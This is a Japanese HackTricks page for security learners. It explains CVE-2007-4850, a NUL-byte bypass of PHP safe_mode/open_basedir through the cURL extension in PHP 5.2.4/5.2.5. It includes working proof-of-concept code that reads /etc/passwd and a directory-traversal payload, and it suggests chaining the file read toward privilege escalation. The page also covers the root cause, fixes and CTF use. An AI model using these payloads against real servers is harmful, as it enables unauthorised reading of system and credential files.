PHP 5.2.4 and 5.2.5 PHP cURL

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

このページでは、特定の PHP 5.2.x ビルドで cURL 拡張を使って PHP の safe_mode / open_basedir チェックを回避する、レガシーだが CTFs やローカルの古いインストール環境ではまだ有用なトリックを解説します。

  • 影響: PHP 5.2.4 and 5.2.5 with ext/curl enabled.
  • 影響範囲: safe_mode または open_basedir 制限があっても任意のローカルファイルを読み取れる(直接的なコード実行はできない)。
  • ID: CVE-2007-4850.

出典: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

ワンライナー PoC

safe_mode または open_basedir が有効で、cURL が有効になっている場合、以下は現在のスクリプトの内容を返します:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

より明示的な PoC (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

注意:

  • 実際の NUL バイトを注入するには double quotes または chr(0) を使用してください。パーセントエンコーディング(%00)は確実には動作しません。
  • これはファイル読み取りプリミティブです。可能であれば他のプリミティブ(log poisoning, session file inclusion, etc.)と組み合わせて権限昇格を狙ってください。

なぜこれが動作するか(要約)

脆弱性は PHP 5.2.4/5.2.5 が ext/curl 内で file:// URL に対する safe_mode/open_basedir チェックを行う方法にあります。チェックは URL を解析してパス成分を検証していましたが、NUL バイトの扱いにより実際に libcurl が使う文字列とは異なる文字列を検証していました。実際には、検証器が NUL の後の部分を承認しても、libcurl は NUL の前の部分を URL コンテナとして使用するため、NUL バイトの後に置かれたファイルを読み取れるバイパスが可能になります。詳細は元の解析と curl/interface.c の該当マクロを参照してください。[CVE-2007-4850]。

制約と修正

  • ext/curl の解析/検証を修正することで、後続の 5.2.x(例:ディストリビューションで 5.2.6 にパッチされたビルド)で修正されました。
  • 非常に古い PHP 展開にのみ影響します;safe_mode は PHP 5.4 で削除されており、現行のビルドではこの挙動は見られません。

関連する歴史的な cURL ベースのバイパス

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl ラッパーが埋め込まれた NUL を含む file:// アクセスを許し open_basedir をバイパスしていました;5.2.x より前に修正されました。
  • PHP bugs #30609/#36223 は、file:// を正規化せずに使う初期の cURL open_basedir 問題を追跡していました。NUL バイトより前でのチェックや realpath 的な解決を行わないチェックは同様の切り詰め脆弱性に対して脆弱です。

CTF のヒント

  • ext/curl がロードされた PHP 5.2.4/5.2.5 を特定した場合(phpinfo()cURL support => enabled と正確な PHP Version を確認)、allow_url_fopen が無効でもこのトリックは通常動作します。これは ext/curl が file:// を自前で処理するためです。
  • 直接パスがブロックされている場合は、NUL の後に相対トラバーサルを試してください。例: file://x\x00../../../../etc/passwd。トラバーサルは open_basedir ガードではなく libcurl によって解決されます。
  • 脆弱なサーバー側コードがユーザー制御の URL を curl_exec() にそのまま渡すような(レガシーの SSRF 的エンドポイントに多い)ケースでは、単一の HTTP リクエストボディにペイロードを包んで LFI を誘発できます。

See also

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする